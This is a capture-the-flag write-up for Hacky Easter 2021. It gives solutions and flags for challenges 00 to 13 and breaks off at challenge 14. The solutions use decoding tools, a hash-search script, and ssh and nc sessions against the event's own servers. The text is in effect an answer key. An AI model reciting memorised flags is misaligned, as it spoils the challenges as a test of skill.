Hacky Easter 2021 writeup

HackyEaster was awesome again. From a technical point of view there weren’t too much new things, but the creativity of the provided challenges made it really fun. Including the little teaser challenge there were a total amount of 37 challenges. These challenges were divided into different levels. You could only proceed to the next level, if you have earned enough points in the current level. I really liked that new idea.

HE21.00 Teaser Challenge HE21.01 Intro HE21.02 Basement Cat HE21.03 Easy One HE21.04 Beehive HE21.05 Unicorn HE21.06 Mystical Symbols HE21.07 Caesar’s Meme HE21.08 Sunshine HE21.09 Cafe Shop HE21.10 Ghost in a Shell 1 HE21.11 Hidden HE21.12 Ansi Art HE21.13 No No No HE21.14 Haxxor what? HE21.15 Social Checker HE21.16 LOTL HE21.17 Digizzled HE21.18 Bunny Beat HE21.19 😈 HE21.20 Run Me, Baby! HE21.21 Memeory 3.0 – The Final HE21.22 46 Apes HE21.23 Eggcryptor HE21.24 Tacocat HE21.25 Lots of JWTs HE21.26 Lost HE21.27 Ghost in a Shell 2 HE21.28 Haxxor what 2? HE21.29 Sailor’s Knot HE21.30 Pix FX HE21.31 Hunny Bunny HE21.32 Two Yolks HE21.33 Finding Mnemo HE21.34 The Five Seasons HE21.35 The Snake HE21.36 Doldrums


HE21.00 Teaser Challenge

Ed wrote you a letter containing strange symbols:

;85)8( )‡0¶8† -‡*3(5;)

Can you recover the message?

The picture shows Edgar Allan Poe. A little bit of googling leads to this page: Gold-Bug Cipher.

After copy-pasting the message to the ciphertext field and clicking on decrypt, we get the resulting plaintext:

Decrypt

The flag is TEASER SOLVED CONGRATS.


HE21.01 Intro

Level:1 (noob)
Category:Misc
Points:50
Author:PS
Well, this is not a real challenge yet, just a quick intro. Some would say sanity check.

Event

    - The event runs until May 13, 13:37 CET.
    - Please do not publish write-ups, before that.
    - There's a Discord server, in case you need support.

Challenges

    - Challenges have difficulty noob, easy, medium, or hard.
    - Some challenges have a hint - opening the hint is free.

Flags

    - Flag format: he2021{just_4n_3x4mpl3}.
    - There are no flags / eggs hidden in the application - please do not attack it.

Levels

    - With a certain amount of points scored in the current level, you level up.
    - You can always go back to earlier levels.

That's it for now. Check the HowTo for more details.

Time to catch the first flag now! Download the image below.



Hint

Download the image. Things are flipped somehow.

The provided image can be flipped and scanned or the flag can be read directly from it in reverse order:

The flag is he2021{f1rst_0n3!}.


HE21.02 Basement Cat

Level:2 (noob)
Category:Misc
Points:50
Author:PS
Hi, me iz Basement Cat!

Here iz flag: 5jsnZDgv9EfFeoGXZrFurdz7MWAnK2WaPfszFadr

Hint

The number on the image, is a hint! ;)

Check out Cyber Chef.

The provided string 5jsnZDgv9EfFeoGXZrFurdz7MWAnK2WaPfszFadr is base58 encoded and can for example be decoded using CyberChef:

CyberChef

The flag is he2021{meow_nice_to_meet_you}.


HE21.03 Easy One

Level:2 (noob)
Category:Misc
Points:50
Author:khae
How did this happen? This was suppossed to be a valid QR code, but some ants walked across it. Can you repair the damage?



Hint

A tool like paint will do to solve this one.

Some of the areas within the QR code needs to be filled with white in order to make it readable.

There is a little pitfall, because the white lines are disconnected in the middle of the image. After fixing this and filling the required areas white using paint, we get this:

QR-Code

The flag is he2021{W3llThatWasQu1t33Asy}.


HE21.04 Beehive

Level:3 (easy)
Category:Crypto
Points:100
Author:PS
There's a secret code in the beehive.

flag format: he2021{flaglower}.

Lowercase only, and no spaces!



Hint

Kim Godgul

A little bit of googling reveals that the encoding used is called ColorHoney.

A description can be found here:

ColorHoney

By decoding the single honeys we get the flag:

The flag is he2021{busybee}.


HE21.05 Unicorn

Level:3 (easy)
Category:Forensics, Misc
Points:100
Author:PS
Ain't no CTF without a unicorn!

s7GvyM1RKEstKs7Mz7NVMtQzUFJIzUvO  
T8nMS7dVCg1x07VQsrfj5bJJzs9LL0os  
KQayFRRs0nIS0+0yUo0MjAyrS/MMkw2K  
8uIN84CiJcbGximKtTb6YBVAffpwjQA=  

Hint

Decode and inflate!

Regarding the hint, we can simply copy-paste the provided strings into CyberChef.

By choosing From Base64 and Raw Inflate we get the flag:

CyberChef

The flag is he2021{un1c0rn_1nflat333d!}.


HE21.06 Mystical Symbols

Level:3 (easy)
Category:Misc
Points:100
Author:PS
I found these mystical symbols.

What do they mean?



Hint

- Really mystical, isn't it?
- decimal to ascii

By googling for images with symbols myst we get the following picture, which looks promising:

Symbols

There are 25 different symbols:

Symbols

We have to decode every symbol to its corresponding number. Since the base of the alphabet is 25, we need to multiply the first number of each symbol with this base and add the second number. The resulting number can be converted to ASCII:

Flag

The flag is he2021{S1rruz}.


HE21.07 Caesar’s Meme

Level:3 (noob)
Category:Crypto
Points:50
Author:PS
As is only little known, the ancient Romans invented the memes.


We can simply typewrite the text from the meme and copy-paste it to CyberChef.

By using ROT13 and testing different values, we get a valid result for n = 23:

Flag

The flag is he2021{imperator}.


HE21.08 Sunshine

Level:3 (noob)
Category:Misc
Points:50
Author:khae
The rays of sunshine are right there, in front of your eyes.



Hint

It's just a little puzzle.

I used GIMP to cut out and rotate the rays in order to reconstruct the egg with the QR code:

QR-Code

The flag is he2021{0h_h3llo_sunsh1ne!}.


HE21.09 Cafe Shop

Level:4 (medium)
Category:Web, Crypto
Points:200
Author:PS
They have good things at the cafe shop, but I want a COLA - DECAF it must be!

Visit the shop here:
http://46.101.107.117:2104

Note: The service is restarted every hour at x:00.

Hint

They also serve hash browns, for $256.

On the provided website items can be ordered:

Website

By having a look at the source code we can see that there are three possible items:

Website

The value of these items begin with an integer (e.g. 11865457), followed by a string (e.g. Vanilla Cafe).

The relevant insight here is that the SHA256 hash of the values contain the name of the ordered item in hex:

┌──(kali㉿kali)-[~/ctf/he21/09] └─$ echo -n '11865457 Vanilla Cafe' | sha256sum f15bffb719f26892f17eea53dc7e3459cafe021bc0db2dce72429667d7aaee96 - ┌──(kali㉿kali)-[~/ctf/he21/09] └─$ echo -n '42640575 Cherry Cola' | sha256sum 36bc94f7d7c3398319f2c01a9a9c583aed66d3a5e325aafa0652ceb2bdc271cf - ┌──(kali㉿kali)-[~/ctf/he21/09] └─$ echo -n '80427209 Beef Jerky' | sha256sum ed734b4fc622d543774121dcfb573cf53d7ddef85ebebeef9fd7cbd8bf4363c9 -

According to the challenge description we have to order a COLA – DECAF.

Thus we have to find an integer, whose SHA256 contains co1a and decaf, if followed by the string ” Cola Decaf”:

#!/usr/bin/env python3 import hashlib i = 0 while True: s = str(i)+' Cola Decaf' m = hashlib.sha256() m.update(s.encode()) h = m.hexdigest() if ('c01a' in h and 'decaf' in h): print(s) quit() i += 1

Running the script yields an appropriate input:

┌──(kali㉿kali)-[~/ctf/he21/09] └─$ ./find_sha256.py 19614073 Cola Decaf

By submitting this id our order is accepted and an image is provided:

Burp

Now we only need to download the image …

┌──(kali㉿kali)-[~/ctf/he21/09] └─$ wget http://46.101.107.117:2104/7ef384aa6ec128ef.png ...

Egg

… and scan the QR code:

┌──(kali㉿kali)-[~/ctf/he21/09] └─$ zbarimg 7ef384aa6ec128ef.png QR-Code:he2021{h3xpr3ss_urs3lf} scanned 1 barcode symbols from 1 images in 0.05 seconds

The flag is he2021{h3xpr3ss_urs3lf}.


HE21.10 Ghost in a Shell 1

Level:4 (easy)
Category:Forensics
Points:100
Author:PS
     _, _,_  _,  _, ___   _ _, _    _,    _, _,_ __, _,  _,    ,  
    / _ |_| / \ (_   |    | |\ |   /_\   (_  |_| |_  |   |     |  
    \ / | | \ / , )  |    | | \|   | |   , ) | | |   | , | ,   |  
     ~  ~ ~  ~   ~   ~    ~ ~  ~   ~ ~    ~  ~ ~ ~~~ ~~~ ~~~   ~  
   ______________________________________________________________________  
    ,--.    
   | oo |   
   | ~~ |   o  o  o  o  o  o  o  o  o  o  o  o  o  o  o  o  o  o  o  o  
   |/\/\|   
   ______________________________________________________________________  
     
   
Connect to the server, snoop around, and find the flag!

    - ssh 46.101.107.117 -p 2106 -l inky
    - password is: mucky_4444

Note: The service is restarted every hour at x:00.

We start by ssh’ing to the provided machine:

┌──(kali㉿kali)-[~/ctf/he21/10] └─$ ssh 46.101.107.117 -p 2106 -l inky inky@46.101.107.117's password: _, _,_ _, _, ___ _ _, _ _, _, _,_ __, _, _, , / _ |_| / \ (_ | | |\ | /_\ (_ |_| |_ | | | \ / | | \ / , ) | | | \| | | , ) | | | | , | , | ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~~ ~~~ ~~~ ~ ______________________________________________________________________ ,--. | oo | | ~~ | o o o o o o o o o o o o o o o o o o o o |/\/\| ______________________________________________________________________ Find the flag! 9aebfee25d34:~$

In the home directory of our user is a folder called images:

9aebfee25d34:~$ ls -al total 40 drwxr-xr-x 1 root root 4096 Apr 13 14:00 . drwxr-xr-x 1 root root 4096 Apr 3 05:23 .. -rwxr-xr-x 1 root root 15 Apr 13 14:00 .bashrc drwxr-xr-x 1 root root 4096 Apr 3 05:23 images -rwxr-xr-x 1 root root 2183 Feb 27 17:53 notes.txt drwxr-xr-x 1 root root 4096 Apr 3 05:23 text

Although it can be quickly overseen, this directory contains a directory called “…”:

9aebfee25d34:~$ ls -al images total 304 drwxr-xr-x 1 root root 4096 Apr 3 05:23 . drwxr-xr-x 1 root root 4096 Apr 13 14:00 .. drwxr-xr-x 1 root root 4096 Apr 3 05:23 ... -rwxr-xr-x 1 root root 23864 Feb 27 17:53 ghost_1.png -rwxr-xr-x 1 root root 25957 Feb 27 17:53 ghost_2.png -rwxr-xr-x 1 root root 37335 Feb 27 17:53 ghost_3.png -rwxr-xr-x 1 root root 30530 Feb 27 17:53 ghost_4.png -rwxr-xr-x 1 root root 27476 Feb 27 17:53 ghost_5.png -rwxr-xr-x 1 root root 35378 Feb 27 17:53 ghost_6.png -rwxr-xr-x 1 root root 31358 Feb 27 17:53 ghost_7.png -rwxr-xr-x 1 root root 32507 Feb 27 17:53 ghost_8.png -rwxr-xr-x 1 root root 27413 Feb 27 17:53 ghost_9.png

Within the “…” directory there is a file also called “…”:

9aebfee25d34:~$ ls -al images/.../ total 36 drwxr-xr-x 1 root root 4096 Apr 3 05:23 . drwxr-xr-x 1 root root 4096 Apr 3 05:23 .. -rwxr-xr-x 1 root root 20263 Feb 27 17:53 ...

We can download this file to our machine using scp:

┌──(kali㉿kali)-[~/ctf/he21/10] └─$ scp -r -P 2106 inky@46.101.107.117:/home/inky/images/.../... loot inky@46.101.107.117's password: ..

The file is actually an image:

┌──(kali㉿kali)-[~/ctf/he21/10] └─$ file loot loot: PNG image data, 1024 x 1024, 8-bit colormap, non-interlaced

Indeed the egg:

Egg

The only thing left to do is scan the QR code:

┌──(kali㉿kali)-[~/ctf/he21/10] └─$ zbarimg loot QR-Code:he2021{h1dd3n_d0td0td0t!} scanned 1 barcode symbols from 1 images in 0.05 seconds

The flag is he2021{h1dd3n_d0td0td0t!}.


HE21.11 Hidden

Level:4 (easy)
Category:Forensics
Points:100
Author:khae
I swear I had the flag a minute ago, but now it seems to be hidden somewhere...

Go back to level 3 and analyze the files of the challenges again. If you look hard enough, you can find an additional flag.

Hint

The solution is hidden in an image. It's hidden in the file content, not in the image (no steganography).

There are some numbers in the flag: he2021{W☐0☐☐☐☐☐☐☐☐☐☐☐0☐☐☐3☐☐☐☐☐5☐}

This flag is hidden in challenge 08.

When running hexdump on the provided image, we can see an ASCII art flag at the end of the output:

┌──(kali㉿kali)-[~/ctf/he21/08] └─$ hexdump -C sunshine.png 00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR| 00000010 00 00 07 d0 00 00 05 35 08 03 00 00 00 7c f0 af |.......5.....|..| ... 00119ff0 ae 42 60 82 20 5f 20 20 20 20 20 20 20 20 20 20 |.B`. _ | 0011a000 20 20 20 20 7c 20 7c 5f 5f 20 20 20 20 20 20 20 | | |__ | 0011a010 20 20 20 20 7c 20 27 5f 20 5c 20 20 20 20 20 20 | | '_ \ | 0011a020 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | | 0011a030 20 20 20 20 7c 5f 7c 20 7c 5f 7c 20 20 20 20 20 | |_| |_| | 0011a040 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 | ___ | 0011a050 20 20 20 20 20 2f 20 5f 20 5c 20 20 20 20 20 20 | / _ \ | 0011a060 20 20 20 20 7c 20 20 5f 5f 2f 20 20 20 20 20 20 | | __/ | 0011a070 20 20 20 20 20 5c 5f 5f 5f 7c 20 20 20 20 20 20 | \___| | 0011a080 20 20 20 20 20 5f 5f 5f 5f 20 20 20 20 20 20 20 | ____ | 0011a090 20 20 20 20 7c 5f 5f 5f 20 5c 20 20 20 20 20 20 | |___ \ | 0011a0a0 20 20 20 20 20 20 5f 5f 29 20 7c 20 20 20 20 20 | __) | | 0011a0b0 20 20 20 20 20 2f 20 5f 5f 2f 20 20 20 20 20 20 | / __/ | 0011a0c0 20 20 20 20 7c 5f 5f 5f 5f 5f 7c 20 20 20 20 20 | |_____| | 0011a0d0 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 | ___ | 0011a0e0 20 20 20 20 20 2f 20 5f 20 5c 20 20 20 20 20 20 | / _ \ | 0011a0f0 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | | 0011a100 20 20 20 20 7c 20 7c 5f 7c 20 7c 20 20 20 20 20 | | |_| | | 0011a110 20 20 20 20 20 5c 5f 5f 5f 2f 20 20 20 20 20 20 | \___/ | 0011a120 20 20 20 20 20 5f 5f 5f 5f 20 20 20 20 20 20 20 | ____ | 0011a130 20 20 20 20 7c 5f 5f 5f 20 5c 20 20 20 20 20 20 | |___ \ | 0011a140 20 20 20 20 20 20 5f 5f 29 20 7c 20 20 20 20 20 | __) | | 0011a150 20 20 20 20 20 2f 20 5f 5f 2f 20 20 20 20 20 20 | / __/ | 0011a160 20 20 20 20 7c 5f 5f 5f 5f 5f 7c 20 20 20 20 20 | |_____| | 0011a170 20 20 20 20 20 5f 20 20 20 20 20 20 20 20 20 20 | _ | 0011a180 20 20 20 20 2f 20 7c 20 20 20 20 20 20 20 20 20 | / | | 0011a190 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 20 | | | | * 0011a1b0 20 20 20 20 7c 5f 7c 20 20 20 20 20 20 20 20 20 | |_| | 0011a1c0 20 20 20 20 20 20 20 5f 5f 20 20 20 20 20 20 20 | __ | 0011a1d0 20 20 20 20 20 20 2f 20 2f 20 20 20 20 20 20 20 | / / | 0011a1e0 20 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 | | | | 0011a1f0 20 20 20 20 3c 20 3c 20 20 20 20 20 20 20 20 20 | < < | 0011a200 20 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 | | | | 0011a210 20 20 20 20 20 20 5c 5f 5c 20 20 20 20 20 20 20 | \_\ | 0011a220 20 20 20 20 5f 5f 20 20 20 20 20 20 20 20 5f 5f | __ __| 0011a230 20 20 20 20 5c 20 5c 20 20 20 20 20 20 2f 20 2f | \ \ / /| 0011a240 20 20 20 20 20 5c 20 5c 20 2f 5c 20 2f 20 2f 20 | \ \ /\ / / | 0011a250 20 20 20 20 20 20 5c 20 56 20 20 56 20 2f 20 20 | \ V V / | 0011a260 20 20 20 20 20 20 20 5c 5f 2f 5c 5f 2f 20 20 20 | \_/\_/ | 0011a270 20 20 20 20 20 5f 20 20 20 20 20 20 20 20 20 20 | _ | 0011a280 20 20 20 20 7c 20 7c 5f 5f 20 20 20 20 20 20 20 | | |__ | 0011a290 20 20 20 20 7c 20 27 5f 20 5c 20 20 20 20 20 20 | | '_ \ | 0011a2a0 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | | 0011a2b0 20 20 20 20 7c 5f 7c 20 7c 5f 7c 20 20 20 20 20 | |_| |_| | 0011a2c0 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 | ___ | 0011a2d0 20 20 20 20 20 2f 20 5f 20 5c 20 20 20 20 20 20 | / _ \ | 0011a2e0 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | | 0011a2f0 20 20 20 20 7c 20 7c 5f 7c 20 7c 20 20 20 20 20 | | |_| | | 0011a300 20 20 20 20 20 5c 5f 5f 5f 2f 20 20 20 20 20 20 | \___/ | 0011a310 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | * 0011a350 20 20 20 20 20 5f 5f 5f 5f 5f 20 20 20 20 20 20 | _____ | 0011a360 20 20 20 20 7c 5f 5f 5f 5f 5f 7c 20 20 20 20 20 | |_____| | 0011a370 20 20 20 20 20 5f 20 20 20 20 20 20 20 20 20 20 | _ | 0011a380 20 20 20 20 28 5f 29 20 20 20 20 20 20 20 20 20 | (_) | 0011a390 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 20 | | | | * 0011a3b0 20 20 20 20 7c 5f 7c 20 20 20 20 20 20 20 20 20 | |_| | 0011a3c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 0011a3d0 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 20 | ___ | 0011a3e0 20 20 20 20 2f 20 5f 5f 7c 20 20 20 20 20 20 20 | / __| | 0011a3f0 20 20 20 20 5c 5f 5f 20 5c 20 20 20 20 20 20 20 | \__ \ | 0011a400 20 20 20 20 7c 5f 5f 5f 2f 20 20 20 20 20 20 20 | |___/ | 0011a410 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | * 0011a450 20 20 20 20 20 5f 5f 5f 5f 5f 20 20 20 20 20 20 | _____ | 0011a460 20 20 20 20 7c 5f 5f 5f 5f 5f 7c 20 20 20 20 20 | |_____| | 0011a470 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 0011a480 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 20 | ___ | 0011a490 20 20 20 20 2f 20 5f 5f 7c 20 20 20 20 20 20 20 | / __| | 0011a4a0 20 20 20 20 5c 5f 5f 20 5c 20 20 20 20 20 20 20 | \__ \ | 0011a4b0 20 20 20 20 7c 5f 5f 5f 2f 20 20 20 20 20 20 20 | |___/ | 0011a4c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 0011a4d0 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 | ___ | 0011a4e0 20 20 20 20 20 2f 20 5f 5f 7c 20 20 20 20 20 20 | / __| | 0011a4f0 20 20 20 20 7c 20 28 5f 5f 20 20 20 20 20 20 20 | | (__ | 0011a500 20 20 20 20 20 5c 5f 5f 5f 7c 20 20 20 20 20 20 | \___| | 0011a510 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 0011a520 20 20 20 20 20 20 5f 5f 20 5f 20 20 20 20 20 20 | __ _ | 0011a530 20 20 20 20 20 2f 20 5f 60 20 7c 20 20 20 20 20 | / _` | | 0011a540 20 20 20 20 7c 20 28 5f 7c 20 7c 20 20 20 20 20 | | (_| | | 0011a550 20 20 20 20 20 5c 5f 5f 2c 5f 7c 20 20 20 20 20 | \__,_| | 0011a560 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 0011a570 20 20 20 20 20 5f 20 5f 5f 20 20 20 20 20 20 20 | _ __ | 0011a580 20 20 20 20 7c 20 27 5f 5f 7c 20 20 20 20 20 20 | | '__| | 0011a590 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 20 | | | | 0011a5a0 20 20 20 20 7c 5f 7c 20 20 20 20 20 20 20 20 20 | |_| | 0011a5b0 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 | ___ | 0011a5c0 20 20 20 20 20 2f 20 5f 20 5c 20 20 20 20 20 20 | / _ \ | 0011a5d0 20 20 20 20 7c 20 20 5f 5f 2f 20 20 20 20 20 20 | | __/ | 0011a5e0 20 20 20 20 20 5c 5f 5f 5f 7c 20 20 20 20 20 20 | \___| | 0011a5f0 20 20 20 20 20 20 20 20 20 5f 20 20 20 20 20 20 | _ | 0011a600 20 20 20 20 20 20 5f 5f 7c 20 7c 20 20 20 20 20 | __| | | 0011a610 20 20 20 20 20 2f 20 5f 60 20 7c 20 20 20 20 20 | / _` | | 0011a620 20 20 20 20 7c 20 28 5f 7c 20 7c 20 20 20 20 20 | | (_| | | 0011a630 20 20 20 20 20 5c 5f 5f 2c 5f 7c 20 20 20 20 20 | \__,_| | 0011a640 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | * 0011a680 20 20 20 20 20 5f 5f 5f 5f 5f 20 20 20 20 20 20 | _____ | 0011a690 20 20 20 20 7c 5f 5f 5f 5f 5f 7c 20 20 20 20 20 | |_____| | 0011a6a0 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 | ___ | 0011a6b0 20 20 20 20 20 2f 20 5f 20 5c 20 20 20 20 20 20 | / _ \ | 0011a6c0 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | | 0011a6d0 20 20 20 20 7c 20 7c 5f 7c 20 7c 20 20 20 20 20 | | |_| | | 0011a6e0 20 20 20 20 20 5c 5f 5f 5f 2f 20 20 20 20 20 20 | \___/ | 0011a6f0 20 20 20 20 20 20 5f 5f 20 20 20 20 20 20 20 20 | __ | 0011a700 20 20 20 20 20 2f 20 5f 7c 20 20 20 20 20 20 20 | / _| | 0011a710 20 20 20 20 7c 20 7c 5f 20 20 20 20 20 20 20 20 | | |_ | 0011a720 20 20 20 20 7c 20 20 5f 7c 20 20 20 20 20 20 20 | | _| | 0011a730 20 20 20 20 7c 5f 7c 20 20 20 20 20 20 20 20 20 | |_| | 0011a740 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | * 0011a780 20 20 20 20 20 5f 5f 5f 5f 5f 20 20 20 20 20 20 | _____ | 0011a790 20 20 20 20 7c 5f 5f 5f 5f 5f 7c 20 20 20 20 20 | |_____| | 0011a7a0 20 20 20 20 20 5f 20 20 20 20 20 20 20 20 20 20 | _ | 0011a7b0 20 20 20 20 7c 20 7c 5f 5f 20 20 20 20 20 20 20 | | |__ | 0011a7c0 20 20 20 20 7c 20 27 5f 20 5c 20 20 20 20 20 20 | | '_ \ | 0011a7d0 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | | 0011a7e0 20 20 20 20 7c 5f 7c 20 7c 5f 7c 20 20 20 20 20 | |_| |_| | 0011a7f0 20 20 20 20 20 5f 5f 5f 5f 5f 20 20 20 20 20 20 | _____ | 0011a800 20 20 20 20 7c 5f 5f 5f 20 2f 20 20 20 20 20 20 | |___ / | 0011a810 20 20 20 20 20 20 7c 5f 20 5c 20 20 20 20 20 20 | |_ \ | 0011a820 20 20 20 20 20 5f 5f 5f 29 20 7c 20 20 20 20 20 | ___) | | 0011a830 20 20 20 20 7c 5f 5f 5f 5f 2f 20 20 20 20 20 20 | |____/ | 0011a840 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 0011a850 20 20 20 20 5f 5f 20 20 5f 5f 20 20 20 20 20 20 | __ __ | 0011a860 20 20 20 20 5c 20 5c 2f 20 2f 20 20 20 20 20 20 | \ \/ / | 0011a870 20 20 20 20 20 3e 20 20 3c 20 20 20 20 20 20 20 | > < | 0011a880 20 20 20 20 2f 5f 2f 5c 5f 5c 20 20 20 20 20 20 | /_/\_\ | 0011a890 20 20 20 20 20 20 20 20 20 5f 20 20 20 20 20 20 | _ | 0011a8a0 20 20 20 20 20 20 5f 5f 7c 20 7c 20 20 20 20 20 | __| | | 0011a8b0 20 20 20 20 20 2f 20 5f 60 20 7c 20 20 20 20 20 | / _` | | 0011a8c0 20 20 20 20 7c 20 28 5f 7c 20 7c 20 20 20 20 20 | | (_| | | 0011a8d0 20 20 20 20 20 5c 5f 5f 2c 5f 7c 20 20 20 20 20 | \__,_| | 0011a8e0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 0011a8f0 20 20 20 20 20 5f 20 20 20 5f 20 20 20 20 20 20 | _ _ | 0011a900 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | | 0011a910 20 20 20 20 7c 20 7c 5f 7c 20 7c 20 20 20 20 20 | | |_| | | 0011a920 20 20 20 20 20 5c 5f 5f 2c 5f 7c 20 20 20 20 20 | \__,_| | 0011a930 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 0011a940 20 20 20 20 20 5f 20 5f 5f 20 5f 5f 5f 20 20 20 | _ __ ___ | 0011a950 20 20 20 20 7c 20 27 5f 20 60 20 5f 20 5c 20 20 | | '_ ` _ \ | 0011a960 20 20 20 20 7c 20 7c 20 7c 20 7c 20 7c 20 7c 20 | | | | | | | | 0011a970 20 20 20 20 7c 5f 7c 20 7c 5f 7c 20 7c 5f 7c 20 | |_| |_| |_| | 0011a980 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 0011a990 20 20 20 20 20 5f 20 5f 5f 20 20 20 20 20 20 20 | _ __ | 0011a9a0 20 20 20 20 7c 20 27 5f 20 5c 20 20 20 20 20 20 | | '_ \ | 0011a9b0 20 20 20 20 7c 20 7c 5f 29 20 7c 20 20 20 20 20 | | |_) | | 0011a9c0 20 20 20 20 7c 20 2e 5f 5f 2f 20 20 20 20 20 20 | | .__/ | 0011a9d0 20 20 20 20 7c 5f 7c 20 20 20 20 20 20 20 20 20 | |_| | 0011a9e0 20 20 20 20 20 5f 5f 5f 5f 20 20 20 20 20 20 20 | ____ | 0011a9f0 20 20 20 20 7c 20 5f 5f 5f 7c 20 20 20 20 20 20 | | ___| | 0011aa00 20 20 20 20 7c 5f 5f 5f 20 5c 20 20 20 20 20 20 | |___ \ | 0011aa10 20 20 20 20 20 5f 5f 5f 29 20 7c 20 20 20 20 20 | ___) | | 0011aa20 20 20 20 20 7c 5f 5f 5f 5f 2f 20 20 20 20 20 20 | |____/ | 0011aa30 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 20 | ___ | 0011aa40 20 20 20 20 7c 5f 5f 20 5c 20 20 20 20 20 20 20 | |__ \ | 0011aa50 20 20 20 20 20 20 2f 20 2f 20 20 20 20 20 20 20 | / / | 0011aa60 20 20 20 20 20 7c 5f 7c 20 20 20 20 20 20 20 20 | |_| | 0011aa70 20 20 20 20 20 28 5f 29 20 20 20 20 20 20 20 20 | (_) | 0011aa80 20 20 20 20 5f 5f 20 20 20 20 20 20 20 20 20 20 | __ | 0011aa90 20 20 20 20 5c 20 5c 20 20 20 20 20 20 20 20 20 | \ \ | 0011aaa0 20 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 | | | | 0011aab0 20 20 20 20 20 20 3e 20 3e 20 20 20 20 20 20 20 | > > | 0011aac0 20 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 | | | | 0011aad0 20 20 20 20 2f 5f 2f 20 20 20 20 20 20 20 20 20 | /_/ | 0011aae0 20 20 20 20 0a | .| 0011aae5

I wasted some time trying to enter this flag for challenge 8, because I hexdump‘ed the image before looking at it.

The flag is he2021{who_is_scared_of_h3xdump5?}.


HE21.12 Ansi Art

Level:4 (easy)
Category:Pwn
Points:100
Author:PS
Hope you like my ansi art egg!

Get it with nc 46.101.107.117 2105

Note: The service is restarted every hour at x:00.

The provided service outputs an ASCII art egg:

ASCII

We can pipe the output to a file, to further analyze it:

┌──(kali㉿kali)-[~/ctf/he21/12] └─$ nc 46.101.107.117 2105 > out

By running strings on the output we can display the ANSI escape codes:

┌──(kali㉿kali)-[~/ctf/he21/12] └─$ strings out [38;5;16;48;5;16m [38;5;16;48;5;16m [38;5;16;48;5;16m [38;5;16;48;5;16m [38;5;16;48;5;16m ... [38;5;74;48;5;235m [38;5;74;48;5;235m ...

If we filter out [38, we can see the single characters of the flag:

┌──(kali㉿kali)-[~/ctf/he21/12] └─$ strings out | grep -v '\[38' [30mh [31me [32m2 [33m0 [34m2 [35m1 [36m{ [37m4 [90mN [91ms [92m1 [93mM [94mG [95m1 [96mk [97m}

Now we only need to extract the characters:

┌──(kali㉿kali)-[~/ctf/he21/12] └─$ strings out2 | grep -v '\[38' | grep -o '.$' | tr -d '\n' he2021{4Ns1MG1k}

The flag is he2021{4Ns1MG1k}.


HE21.13 No No No

Level:4 (easy)
Category:Misc
Points:100
Author:khae
No! No... nono ..

Where's the egg???



Hint

- Using a tool might be a good idea here.
- There is a small glitch - if you don't get a solution, try something else.

Using this nice online solver the greatest challenge was to write down the values from the image:

Solved

The flag is he2021{Y3sY3sY3sgram_s0unds_a_l0t_nic3r}.


HE21.14 Haxxor what?

Level:4 (easy)
Category:Crypto
Points:100
Author:PS
I got this image of an Easter egg.

But what kind of encryption is this?!

haxxorwhat

Hint

The original file is an image.

According to file the provided file is just data:

┌──(kali㉿kali)-[~/ctf/he21/14] └─$ file haxxorwhat haxxorwhat: data

Also with hexdump we cannot yet see anything of interest:

